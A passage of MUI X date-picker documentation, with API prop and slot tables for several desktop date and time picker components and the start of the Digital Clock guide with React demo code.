| shortcuts | `PickersShortcuts` | - | Custom component for the shortcuts. |
| switchViewButton | `IconButton` | - | Button displayed to switch between different calendar views. |
| switchViewIcon | `ArrowDropDown` | - | Icon displayed in the SwitchViewButton. Rotated by 180° when the open view is `year`. |
| textField | `<PickersTextField />, or <TextField /> from '@mui/material' if `enableAccessibleFieldDOMStructure` is `false`.` | - | Form control with an input to render the value. |
| toolbar | `DateTimePickerToolbar` | - | Custom component for the toolbar rendered above the views. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/DesktopDateRangePicker/DesktopDateRangePicker.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/DesktopDateRangePicker/DesktopDateRangePicker.tsx)

---

# Source: https://mui.com/x/api/date-pickers/desktop-date-time-picker.md

# DesktopDateTimePicker API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Date Time Picker](/x/react-date-pickers/date-time-picker/)
- [Date and Time Pickers - Validation](/x/react-date-pickers/validation/)

## Import

```jsx
import { DesktopDateTimePicker } from '@mui/x-date-pickers/DesktopDateTimePicker';
// or
import { DesktopDateTimePicker } from '@mui/x-date-pickers';
// or
import { DesktopDateTimePicker } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| ampm | `bool` | `adapter.is12HourCycleInCurrentLocale()` | No |  |
| ampmInClock | `bool` | `true on desktop, false on mobile` | No |  |
| autoFocus | `bool` | - | No |  |
| closeOnSelect | `bool` | `false` | No |  |
| dayOfWeekFormatter | `function(date: PickerValidDate) => string` | `(date: PickerValidDate) => adapter.format(date, 'weekdayShort').charAt(0).toUpperCase()` | No |  |
| defaultValue | `object` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disableIgnoringDatePartForTimeValidation | `bool` | `false` | No |  |
| disableOpenPicker (deprecated) | `bool` | `false` | No | ⚠️ Use the [field component](https://mui.com/x/react-date-pickers/fields/) instead. |
| disablePast | `bool` | `false` | No |  |
| displayWeekNumber | `bool` | - | No |  |
| fixedWeekNumber | `number` | - | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| inputRef | `ref` | - | No |  |
| label | `node` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| maxDateTime | `object` | - | No |  |
| maxTime | `object` | - | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| minDateTime | `object` | - | No |  |
| minTime | `object` | - | No |  |
| minutesStep | `number` | `1` | No |  |
| monthsPerRow | `3 \| 4` | `3` | No |  |
| name | `string` | - | No |  |
| onAccept | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClose | `func` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onMonthChange | `function(month: PickerValidDate) => void` | - | No |  |
| onOpen | `func` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| onViewChange | `function(view: TView) => void` | - | No |  |
| onYearChange | `function(year: PickerValidDate) => void` | - | No |  |
| open | `bool` | `false` | No |  |
| openTo | `'day' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'year'` | - | No |  |
| orientation | `'landscape' \| 'portrait'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| reduceAnimations | `bool` | ``@media(prefers-reduced-motion: reduce)` || `navigator.userAgent` matches Android <10 or iOS <13` | No |  |
| referenceDate | `object` | `The closest valid date-time using the validation props, except callbacks like `shouldDisable<...>`.` | No |  |
| renderLoading | `function() => React.ReactNode` | `() => <span>...</span>` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableDate | `function(day: PickerValidDate) => boolean` | - | No |  |
| shouldDisableMonth | `function(month: PickerValidDate) => boolean` | - | No |  |
| shouldDisableTime | `function(value: PickerValidDate, view: TimeView) => boolean` | - | No |  |
| shouldDisableYear | `function(year: PickerValidDate) => boolean` | - | No |  |
| showDaysOutsideCurrentMonth | `bool` | `false` | No |  |
| skipDisabled | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| thresholdToRenderTimeInASingleColumn | `number` | `24` | No |  |
| timeSteps | `{ hours?: number, minutes?: number, seconds?: number }` | `{ hours: 1, minutes: 5, seconds: 5 }` | No |  |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `object` | - | No |  |
| view | `'day' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'year'` | - | No |  |
| viewRenderers | `{ day?: func, hours?: func, meridiem?: func, minutes?: func, month?: func, seconds?: func, year?: func }` | - | No |  |
| views | `Array<'day' \| 'hours' \| 'minutes' \| 'month' \| 'seconds' \| 'year'>` | - | No |  |
| yearsOrder | `'asc' \| 'desc'` | `'asc'` | No |  |
| yearsPerRow | `3 \| 4` | `4` | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | - | Custom component for the action bar, it is placed below the Picker views. |
| calendarHeader | `PickersCalendarHeader` | - | Custom component for calendar header.
Check the [PickersCalendarHeader](https://mui.com/x/api/date-pickers/pickers-calendar-header/) component. |
| clearButton | `IconButton` | - | Button to clear the value. |
| clearIcon | `ClearIcon` | - | Icon to display in the button used to clean the value. |
| day | `PickersDay` | - | Custom component for day.
Check the [PickersDay](https://mui.com/x/api/date-pickers/pickers-day/) component. |
| desktopPaper | `PickerPopperPaper` | - | Custom component for the paper rendered inside the desktop picker's Popper. |
| desktopTransition | `Grow or Fade from '@mui/material' when `reduceAnimations` is `true`.` | - | Custom component for the desktop popper [Transition](https://mui.com/material-ui/transitions/). |
| desktopTrapFocus | `TrapFocus from '@mui/material'.` | - | Custom component for trapping the focus inside the views on desktop. |
| digitalClockItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single digital clock item. |
| digitalClockSectionItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single multi section digital clock section item. |
| field | `undefined` | - | Component used to enter the date with the keyboard. |
| inputAdornment | `InputAdornment` | - | Component displayed on the start or end input adornment used to open the Picker. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| monthButton | `MonthCalendarButton` | - | Button displayed to render a single month in the `month` view. |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| openPickerButton | `IconButton` | - | Button to open the Picker. |
| openPickerIcon | `undefined` | - | Icon to display in the button used to open the Picker. |
| popper | `Popper from '@mui/material'.` | - | Custom component for the popper inside which the views are rendered on desktop. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
| shortcuts | `PickersShortcuts` | - | Custom component for the shortcuts. |
| switchViewButton | `IconButton` | - | Button displayed to switch between different calendar views. |
| switchViewIcon | `ArrowDropDown` | - | Icon displayed in the SwitchViewButton. Rotated by 180° when the open view is `year`. |
| tabs | `DateTimePickerTabs` | - | Tabs enabling toggling between date and time pickers. |
| textField | `<PickersTextField />, or <TextField /> from '@mui/material' if `enableAccessibleFieldDOMStructure` is `false`.` | - | Form control with an input to render the value. |
| toolbar | `DateTimePickerToolbar` | - | Custom component for the toolbar rendered above the views. |
| yearButton | `YearCalendarButton` | - | Button displayed to render a single year in the `year` view. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/DesktopDateTimePicker/DesktopDateTimePicker.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/DesktopDateTimePicker/DesktopDateTimePicker.tsx)

---

# Source: https://mui.com/x/api/date-pickers/desktop-date-time-range-picker.md

# DesktopDateTimeRangePicker API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Date Time Range Picker
- [Date and Time Pickers - Validation](/x/react-date-pickers/validation/)

## Import

```jsx
import { DesktopDateTimeRangePicker } from '@mui/x-date-pickers-pro/DesktopDateTimeRangePicker';
// or
import { DesktopDateTimeRangePicker } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| ampm | `bool` | `adapter.is12HourCycleInCurrentLocale()` | No |  |
| autoFocus | `bool` | - | No |  |
| calendars | `1 \| 2 \| 3` | `1` | No |  |
| closeOnSelect | `bool` | `false` | No |  |
| currentMonthCalendarPosition | `1 \| 2 \| 3` | `1` | No |  |
| dayOfWeekFormatter | `function(date: PickerValidDate) => string` | `(date: PickerValidDate) => adapter.format(date, 'weekdayShort').charAt(0).toUpperCase()` | No |  |
| defaultRangePosition | `'end' \| 'start'` | `'start'` | No |  |
| defaultValue | `Array<object>` | - | No |  |
| disableAutoMonthSwitching | `bool` | `false` | No |  |
| disabled | `bool` | `false` | No |  |
| disableDragEditing | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disableIgnoringDatePartForTimeValidation | `bool` | `false` | No |  |
| disableOpenPicker (deprecated) | `bool` | `false` | No | ⚠️ Use the [field component](https://mui.com/x/react-date-pickers/fields/) instead. |
| disablePast | `bool` | `false` | No |  |
| displayWeekNumber | `bool` | - | No |  |
| fixedWeekNumber | `number` | - | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| inputRef | `ref` | - | No |  |
| label | `node` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| maxDateTime | `object` | - | No |  |
| maxTime | `object` | - | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| minDateTime | `object` | - | No |  |
| minTime | `object` | - | No |  |
| minutesStep | `number` | `1` | No |  |
| name | `string` | - | No |  |
| onAccept | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClose | `func` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onMonthChange | `function(month: PickerValidDate) => void` | - | No |  |
| onOpen | `func` | - | No |  |
| onRangePositionChange | `function(rangePosition: RangePosition) => void` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| onViewChange | `function(view: TView) => void` | - | No |  |
| open | `bool` | `false` | No |  |
| openTo | `'day' \| 'hours' \| 'minutes' \| 'seconds'` | - | No |  |
| rangePosition | `'end' \| 'start'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| reduceAnimations | `bool` | ``@media(prefers-reduced-motion: reduce)` || `navigator.userAgent` matches Android <10 or iOS <13` | No |  |
| referenceDate | `Array<object> \| object` | `The closest valid date-time using the validation props, except callbacks like `shouldDisable<...>`.` | No |  |
| renderLoading | `function() => React.ReactNode` | `() => "..."` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableDate | `function(day: PickerValidDate, position: string) => boolean` | - | No |  |
| shouldDisableTime | `function(value: PickerValidDate, view: TimeView) => boolean` | - | No |  |
| showDaysOutsideCurrentMonth | `bool` | `false` | No |  |
| skipDisabled | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| thresholdToRenderTimeInASingleColumn | `number` | `24` | No |  |
| timeSteps | `{ hours?: number, minutes?: number, seconds?: number }` | `{ hours: 1, minutes: 5, seconds: 5 }` | No |  |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `Array<object>` | - | No |  |
| view | `'day' \| 'hours' \| 'meridiem' \| 'minutes' \| 'seconds'` | - | No |  |
| viewRenderers | `{ day?: func, hours?: func, meridiem?: func, minutes?: func, seconds?: func }` | - | No |  |
| views | `Array<'day' \| 'hours' \| 'minutes' \| 'seconds'>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | - | Custom component for the action bar, it is placed below the Picker views. |
| calendarHeader | `PickersCalendarHeader` | - | Custom component for calendar header.
Check the [PickersCalendarHeader](https://mui.com/x/api/date-pickers/pickers-calendar-header/) component. |
| clearButton | `IconButton` | - | Button to clear the value. |
| clearIcon | `ClearIcon` | - | Icon to display in the button used to clean the value. |
| day | `DateRangePickersDay` | - | Custom component for day in range pickers.
Check the [DateRangePickersDay](https://mui.com/x/api/date-pickers/date-range-picker-day/) component. |
| desktopPaper | `PickerPopperPaper` | - | Custom component for the paper rendered inside the desktop picker's Popper. |
| desktopTransition | `Grow or Fade from '@mui/material' when `reduceAnimations` is `true`.` | - | Custom component for the desktop popper [Transition](https://mui.com/material-ui/transitions/). |
| desktopTrapFocus | `TrapFocus from '@mui/material'.` | - | Custom component for trapping the focus inside the views on desktop. |
| digitalClockItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single digital clock item. |
| digitalClockSectionItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single multi section digital clock section item. |
| field | `undefined` | - | Component used to enter the date with the keyboard. |
| inputAdornment | `InputAdornment` | - | Component displayed on the start or end input adornment used to open the Picker. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| openPickerButton | `IconButton` | - | Button to open the Picker. |
| openPickerIcon | `undefined` | - | Icon to display in the button used to open the Picker. |
| popper | `Popper from '@mui/material'.` | - | Custom component for the popper inside which the views are rendered on desktop. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
| shortcuts | `PickersShortcuts` | - | Custom component for the shortcuts. |
| switchViewButton | `IconButton` | - | Button displayed to switch between different calendar views. |
| switchViewIcon | `ArrowDropDown` | - | Icon displayed in the SwitchViewButton. Rotated by 180° when the open view is `year`. |
| tabs | `DateTimeRangePickerTabs` | - | Tabs enabling toggling between date and time pickers. |
| textField | `<PickersTextField />, or <TextField /> from '@mui/material' if `enableAccessibleFieldDOMStructure` is `false`.` | - | Form control with an input to render the value. |
| toolbar | `DateTimeRangePickerToolbar` | - | Custom component for the toolbar rendered above the views. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/DesktopDateTimeRangePicker/DesktopDateTimeRangePicker.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/DesktopDateTimeRangePicker/DesktopDateTimeRangePicker.tsx)

---

# Source: https://mui.com/x/api/date-pickers/desktop-time-picker.md

# DesktopTimePicker API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Time Picker](/x/react-date-pickers/time-picker/)
- [Date and Time Pickers - Validation](/x/react-date-pickers/validation/)

## Import

```jsx
import { DesktopTimePicker } from '@mui/x-date-pickers/DesktopTimePicker';
// or
import { DesktopTimePicker } from '@mui/x-date-pickers';
// or
import { DesktopTimePicker } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| ampm | `bool` | `adapter.is12HourCycleInCurrentLocale()` | No |  |
| ampmInClock | `bool` | `true on desktop, false on mobile` | No |  |
| autoFocus | `bool` | - | No |  |
| closeOnSelect | `bool` | `false` | No |  |
| defaultValue | `object` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableIgnoringDatePartForTimeValidation | `bool` | `false` | No |  |
| disableOpenPicker (deprecated) | `bool` | `false` | No | ⚠️ Use the [field component](https://mui.com/x/react-date-pickers/fields/) instead. |
| disablePast | `bool` | `false` | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| inputRef | `ref` | - | No |  |
| label | `node` | - | No |  |
| localeText | `object` | - | No |  |
| maxTime | `object` | - | No |  |
| minTime | `object` | - | No |  |
| minutesStep | `number` | `1` | No |  |
| name | `string` | - | No |  |
| onAccept | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClose | `func` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onOpen | `func` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| onViewChange | `function(view: TView) => void` | - | No |  |
| open | `bool` | `false` | No |  |
| openTo | `'hours' \| 'meridiem' \| 'minutes' \| 'seconds'` | - | No |  |
| orientation | `'landscape' \| 'portrait'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| reduceAnimations | `bool` | ``@media(prefers-reduced-motion: reduce)` || `navigator.userAgent` matches Android <10 or iOS <13` | No |  |
| referenceDate | `object` | `The closest valid date-time using the validation props, except callbacks like `shouldDisable<...>`.` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableTime | `function(value: PickerValidDate, view: TimeView) => boolean` | - | No |  |
| skipDisabled | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| thresholdToRenderTimeInASingleColumn | `number` | `24` | No |  |
| timeSteps | `{ hours?: number, minutes?: number, seconds?: number }` | `{ hours: 1, minutes: 5, seconds: 5 }` | No |  |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `object` | - | No |  |
| view | `'hours' \| 'meridiem' \| 'minutes' \| 'seconds'` | - | No |  |
| viewRenderers | `{ hours?: func, meridiem?: func, minutes?: func, seconds?: func }` | - | No |  |
| views | `Array<'hours' \| 'minutes' \| 'seconds'>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | - | Custom component for the action bar, it is placed below the Picker views. |
| clearButton | `IconButton` | - | Button to clear the value. |
| clearIcon | `ClearIcon` | - | Icon to display in the button used to clean the value. |
| desktopPaper | `PickerPopperPaper` | - | Custom component for the paper rendered inside the desktop picker's Popper. |
| desktopTransition | `Grow or Fade from '@mui/material' when `reduceAnimations` is `true`.` | - | Custom component for the desktop popper [Transition](https://mui.com/material-ui/transitions/). |
| desktopTrapFocus | `TrapFocus from '@mui/material'.` | - | Custom component for trapping the focus inside the views on desktop. |
| digitalClockItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single digital clock item. |
| digitalClockSectionItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single multi section digital clock section item. |
| field | `undefined` | - | Component used to enter the date with the keyboard. |
| inputAdornment | `InputAdornment` | - | Component displayed on the start or end input adornment used to open the Picker. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| openPickerButton | `IconButton` | - | Button to open the Picker. |
| openPickerIcon | `undefined` | - | Icon to display in the button used to open the Picker. |
| popper | `Popper from '@mui/material'.` | - | Custom component for the popper inside which the views are rendered on desktop. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
| shortcuts | `PickersShortcuts` | - | Custom component for the shortcuts. |
| textField | `<PickersTextField />, or <TextField /> from '@mui/material' if `enableAccessibleFieldDOMStructure` is `false`.` | - | Form control with an input to render the value. |
| toolbar | `TimePickerToolbar` | - | Custom component for the toolbar rendered above the views. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/DesktopTimePicker/DesktopTimePicker.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/DesktopTimePicker/DesktopTimePicker.tsx)

---

# Source: https://mui.com/x/api/date-pickers/desktop-time-range-picker.md

# DesktopTimeRangePicker API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Time Range Picker
- [Date and Time Pickers - Validation](/x/react-date-pickers/validation/)

## Import

```jsx
import { DesktopTimeRangePicker } from '@mui/x-date-pickers-pro/DesktopTimeRangePicker';
// or
import { DesktopTimeRangePicker } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| ampm | `bool` | `adapter.is12HourCycleInCurrentLocale()` | No |  |
| autoFocus | `bool` | - | No |  |
| closeOnSelect | `bool` | `false` | No |  |
| defaultRangePosition | `'end' \| 'start'` | `'start'` | No |  |
| defaultValue | `Array<object>` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableIgnoringDatePartForTimeValidation | `bool` | `false` | No |  |
| disableOpenPicker (deprecated) | `bool` | `false` | No | ⚠️ Use the [field component](https://mui.com/x/react-date-pickers/fields/) instead. |
| disablePast | `bool` | `false` | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| inputRef | `func \| { current?: object }` | - | No |  |
| label | `node` | - | No |  |
| localeText | `object` | - | No |  |
| maxTime | `object` | - | No |  |
| minTime | `object` | - | No |  |
| minutesStep | `number` | `1` | No |  |
| name | `string` | - | No |  |
| onAccept | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClose | `func` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onOpen | `func` | - | No |  |
| onRangePositionChange | `function(rangePosition: RangePosition) => void` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| onViewChange | `function(view: TView) => void` | - | No |  |
| open | `bool` | `false` | No |  |
| openTo | `'hours' \| 'minutes' \| 'seconds'` | - | No |  |
| rangePosition | `'end' \| 'start'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| reduceAnimations | `bool` | ``@media(prefers-reduced-motion: reduce)` || `navigator.userAgent` matches Android <10 or iOS <13` | No |  |
| referenceDate | `Array<object> \| object` | `The closest valid date-time using the validation props, except callbacks like `shouldDisable<...>`.` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableTime | `function(value: PickerValidDate, view: TimeView) => boolean` | - | No |  |
| skipDisabled | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| thresholdToRenderTimeInASingleColumn | `number` | `24` | No |  |
| timeSteps | `{ hours?: number, minutes?: number, seconds?: number }` | `{ hours: 1, minutes: 5, seconds: 5 }` | No |  |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `Array<object>` | - | No |  |
| view | `'hours' \| 'meridiem' \| 'minutes' \| 'seconds'` | - | No |  |
| viewRenderers | `{ hours?: func, meridiem?: func, minutes?: func, seconds?: func }` | - | No |  |
| views | `Array<'hours' \| 'minutes' \| 'seconds'>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | - | Custom component for the action bar, it is placed below the Picker views. |
| clearButton | `IconButton` | - | Button to clear the value. |
| clearIcon | `ClearIcon` | - | Icon to display in the button used to clean the value. |
| desktopPaper | `PickerPopperPaper` | - | Custom component for the paper rendered inside the desktop picker's Popper. |
| desktopTransition | `Grow or Fade from '@mui/material' when `reduceAnimations` is `true`.` | - | Custom component for the desktop popper [Transition](https://mui.com/material-ui/transitions/). |
| desktopTrapFocus | `TrapFocus from '@mui/material'.` | - | Custom component for trapping the focus inside the views on desktop. |
| digitalClockItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single digital clock item. |
| digitalClockSectionItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single multi section digital clock section item. |
| field | `undefined` | - | Component used to enter the date with the keyboard. |
| inputAdornment | `InputAdornment` | - | Component displayed on the start or end input adornment used to open the Picker. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| openPickerButton | `IconButton` | - | Button to open the Picker. |
| openPickerIcon | `undefined` | - | Icon to display in the button used to open the Picker. |
| popper | `Popper from '@mui/material'.` | - | Custom component for the popper inside which the views are rendered on desktop. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
| shortcuts | `PickersShortcuts` | - | Custom component for the shortcuts. |
| tabs | `TimeRangePickerTabs` | - | Tabs enabling toggling between start and end time. |
| textField | `<PickersTextField />, or <TextField /> from '@mui/material' if `enableAccessibleFieldDOMStructure` is `false`.` | - | Form control with an input to render the value. |
| Toolbar | `TimeRangePickerToolbar` | - | Custom component for the toolbar rendered above the views. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/DesktopTimeRangePicker/DesktopTimeRangePicker.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/DesktopTimeRangePicker/DesktopTimeRangePicker.tsx)

---

# Source: https://mui.com/x/api/date-pickers/digital-clock.md

# Source: https://mui.com/x/react-date-pickers/digital-clock.md

---
productId: x-date-pickers
title: React Digital Clock component
components: DigitalClock, MultiSectionDigitalClock
githubLabel: 'component: TimePicker'
packageName: '@mui/x-date-pickers'
---

# Digital Clock

The Digital Clock lets the user select a time without any input or popper / modal.

## Description

There are two component versions for different cases. The `DigitalClock` handles selection of a single time instance in one step, just like a `select` component. The `MultiSectionDigitalClock` lets users select time using separate sections for separate views.

The `DigitalClock` is more appropriate when there is a limited number of time options needed, while the `MultiSectionDigitalClock` is suited for cases when a more granular time selection is needed.

## Basic usage

```tsx
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DigitalClock } from '@mui/x-date-pickers/DigitalClock';
import { MultiSectionDigitalClock } from '@mui/x-date-pickers/MultiSectionDigitalClock';

export default function DigitalClockBasic() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DigitalClock', 'MultiSectionDigitalClock']}>
        <DemoItem label="Digital clock">
          <DigitalClock />
        </DemoItem>
        <DemoItem label="Multi section digital clock">
          <MultiSectionDigitalClock />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Uncontrolled vs. controlled value

The value of the component can be uncontrolled or controlled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DigitalClock } from '@mui/x-date-pickers/DigitalClock';
import { MultiSectionDigitalClock } from '@mui/x-date-pickers/MultiSectionDigitalClock';

export default function DigitalClockValue() {
  const [value, setValue] = React.useState<Dayjs | null>(dayjs('2022-04-17T15:30'));

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'DigitalClock',
          'DigitalClock',
          'MultiSectionDigitalClock',
          'MultiSectionDigitalClock',
        ]}
      >
        <DemoContainer components={['DigitalClock', 'DigitalClock']}>
          <DemoItem label="Uncontrolled digital clock">
            <DigitalClock defaultValue={dayjs('2022-04-17T15:30')} />
          </DemoItem>
          <DemoItem label="Controlled digital clock">
            <DigitalClock
              value={value}
              onChange={(newValue) => setValue(newValue)}
            />
          </DemoItem>
        </DemoContainer>
        <DemoContainer
          components={['MultiSectionDigitalClock', 'MultiSectionDigitalClock']}
        >
          <DemoItem label="Uncontrolled multi section digital clock">
            <MultiSectionDigitalClock defaultValue={dayjs('2022-04-17T15:30')} />
          </DemoItem>
          <DemoItem label="Controlled multi section digital clock">
